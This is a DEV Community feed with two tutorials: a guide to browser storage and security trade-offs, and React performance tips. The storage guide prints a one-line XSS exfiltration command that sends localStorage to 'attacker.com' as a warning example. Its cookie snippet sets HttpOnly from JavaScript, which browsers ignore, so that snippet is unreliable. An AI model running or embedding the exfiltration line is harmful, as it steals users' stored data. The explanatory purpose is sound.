DEV Community: Wandana Maddumage

The Web Developer’s Guide to Browser Storage: LocalStorage, SessionStorage, and Cookies

Wandana Maddumage — Tue, 02 Jun 2026 03:01:59 +0000

We’ve all been there: You're building a web app, and you need to store a piece of data. Maybe it’s a user’s preferred theme, a half-filled form, or an authentication token. You know it belongs in the browser, but then the inevitable choice hits you:

Do I drop this in LocalStorage, stash it in SessionStorage, or bake a cookie?

It’s easy to treat these three as interchangeable buckets of data, but picking the wrong one can lead to broken user experiences, sluggish performance, or worse—gaping security holes.

Let’s break down how these browser storage mechanisms actually work under the hood, when to use them, and the architectural trade-offs you need to consider.

1. LocalStorage: The Long-Term Vault

Think of localStorage as a digital storage unit. Once you put something in there, it stays there until you explicitly go back and delete it.

// Quick Example: Storing and retrieving a theme preference
localStorage.setItem('theme', 'dark');
const userTheme = localStorage.getItem('theme');

The Architecture

Persistence: Practically infinite. Data survives page refreshes, closing tabs, and even completely restarting the browser or the device.

Capacity: Generous by web standards—usually around 5MB to 10MB depending on the browser.

Scope: It is strictly bound by the Same-Origin Policy (same protocol, domain, and port). Data stored by https://mysite.com cannot be read by https://othersite.com.

Best Used For

User Interface State: Saving non-sensitive preferences like dark mode vs. light mode or a collapsed/expanded sidebar state.

Performance Optimization: Caching static, non-sensitive data (like a list of country codes) to reduce API calls on page load.

Draft Saving: Storing an unsubmitted blog post or comment so the user doesn’t lose their progress if their browser crashes.

2. SessionStorage: The Temporary Workbench

If LocalStorage is a storage unit, SessionStorage is a temporary workbench. It’s incredibly useful while you’re actively working on a specific task, but the moment you walk out of the room, everything is cleared away.

// Quick Example: Tracking a multi-step checkout progress
sessionStorage.setItem('currentStep', 'step-3');

The Architecture

Persistence: Data lasts only for the duration of the page session.

The "Tab" Rule: SessionStorage is unique to the specific browser tab. If you open https://mysite.com in Tab A, and then open the exact same URL in Tab B, they will have completely isolated SessionStorage buckets. Closing the tab wipes that data forever.

Capacity: Matches LocalStorage, topping out at around 5MB.

Best Used For

Multi-Page Wizards: Carrying data across a multi-step checkout or registration form as the user clicks "Next" and "Back."

Tab-Specific States: Keeping track of temporary filters or search parameters on a dashboard that shouldn’t bleed over if the user opens a second tab to look at something else.

3. Cookies: The Messenger

Cookies are the veterans of client-side storage. Unlike LocalStorage and SessionStorage—which exist purely for the client’s use—cookies were explicitly designed to travel back and forth between the browser and the server with every single network request.

// Quick Example: Setting a cookie (though typically done via Server headers)
document.cookie = "user_session=abc123xyz; expires=Fri, 31 Dec 2027 23:59:59 GMT; Secure; HttpOnly";

The Architecture
Persistence: Highly customizable. You can set a specific expiration date, or omit it entirely to create a "session cookie" that expires when the browser closes.

Capacity: Tiny. They max out at about 4KB total per domain.

The Network Cost: Because cookies automatically hitch a ride on every HTTP request (images, stylesheets, API calls), large or bloated cookies will actively degrade your application's network performance.

Best Used For
Authentication and Session Management: Telling the server "Hey, I'm logged in as User 123" securely.

Server-Side Rendering (SSR): Because cookies are sent with the initial document request, frameworks like Next.js or Remix can read them instantly to render personalized pages on the server before sending them to the browser.

Summary at a Glance

⚠️ The Architectural Trap: The Security Trade-off

There is a golden rule that every front-end and full-stack engineer must memorize: never store sensitive data (like JWTs, passwords, or PII) in LocalStorage or SessionStorage.

Both of these mechanisms are completely accessible via synchronous JavaScript. If your website falls victim to a Cross-Site Scripting (XSS) attack—where a rogue third-party script or a compromised npm package runs malicious code on your site—an attacker can steal your user's entire data payload with a single line of code:

// The line an XSS attacker loves to execute:
fetch('https://attacker.com/steal?data=' + JSON.stringify(localStorage));

The Fix: Secure Cookies
For highly sensitive data like authorization tokens, the industry standard is to use Cookies configured with specific security flags:

HttpOnly: This flag completely blocks client-side JavaScript from reading or modifying the cookie, neutralizing XSS thefts.

Secure: Ensures the cookie is only sent over encrypted HTTPS connections.

SameSite=Strict or SameSite=Lax: Protects your users against Cross-Site Request Forgery (CSRF) attacks.

Final Thoughts

Choosing the right storage mechanism is all about understanding the lifecycle of your data and who needs access to it.

If your data is heavy, safe, and needs to stick around, Local Storage is your friend. If it’s temporary and tied to a single task, lean on sessionStorage. If the server needs to know about it securely, use cookies.

What browser storage challenges have you run into lately? Let's discuss in the comments below!

How to Increase and Optimize Performance in a React Application

Wandana Maddumage — Mon, 22 Dec 2025 04:18:01 +0000

Performance optimization is a crucial part of building modern, scalable React applications. A fast, smooth UI boosts user experience and retention, especially as your app grows in size and complexity. This article dives into best practices and strategies to improve the performance of your React applications.

1. Use React's Built-in Memoization
React provides several built-in tools to prevent unnecessary re-renders:

🔹 React.memo()
Use this to wrap functional components so that they only re-render when props change.jsx

const MyComponent = React.memo(({ value }) => {
  return <div>{value}</div>;
});

🔹 useMemo() and useCallback()
Use these to memoize functions and computed values inside your components.

const expensiveValue = useMemo(() => computeExpensiveValue(data), [data]);
const handleClick = useCallback(() => doSomething(), []);

2. Code Splitting with React.lazy and Suspense
Code splitting helps load parts of your app only when needed, reducing initial load time.

const LazyComponent = React.lazy(() => import('./LazyComponent'));

function App() {
  return (
    <Suspense fallback={<div>Loading...</div>}>
      <LazyComponent />
    </Suspense>
  );
}

3. Bundle Optimization
Reduce the final bundle size by:

Removing unused dependencies
Using tree-shaking
Importing only what you use from libraries like Lodash or Material-UI

// Bad
import _ from 'lodash';

// Good
import debounce from 'lodash/debounce';

Use tools like:

Webpack Bundle Analyzer
Source Map Explorer

4. Virtualise Long Lists
Rendering long lists can be expensive. Libraries like react-window or react-virtualized render only the visible items.

import { FixedSizeList as List } from 'react-window';

<List
  height={300}
  itemCount={1000}
  itemSize={35}
  width={300}
>
  {({ index, style }) => <div style={style}>Item {index}</div>}
</List>

5. Avoid Anonymous Functions in JSX
Defining functions inline in JSX can cause unnecessary re-renders.

// ❌ Not optimal
<button onClick={() => doSomething()}>Click me</button>

// ✅ Better
const handleClick = () => doSomething();
<button onClick={handleClick}>Click me</button>

6. Minimize Re-renders
Use tools like:
React.memo()
shouldComponentUpdate (class components)
Profiling with React DevTools to identify unnecessary renders

Use the Profiler API React DevTools has a Profiler tab to visualize rendering performance.
Find which components render frequently
Optimize or memoize them
Remove redundant state or context updates

8. Use Server-side Rendering (SSR) or Static Site Generation (SSG)
Frameworks like Next.js provide SSR and SSG capabilities to improve time-to-first-byte and SEO.

// pages/index.tsx in Next.js
export async function getStaticProps() {
  const data = await fetchData();
  return { props: { data } };
}

9. Use Efficient State Management
Large global state trees can cause performance issues.

Use React Context wisely (avoid passing large data)
Use lightweight state libraries like Zustand, Jotai, or Recoil
For large apps, consider Redux Toolkit with createSlice for optimized patterns

10. Lazy Load Images and Components
Use libraries like:

react-lazyload
Native loading="lazy" for images

<img src="/image.jpg" loading="lazy" alt="example" />

Conclusion
Optimizing a React application is about balancing performance, maintainability, and scalability. Start by profiling your app, identifying bottlenecks, and applying these techniques selectively. With thoughtful optimization, your React app can remain snappy and delightful even as it grows.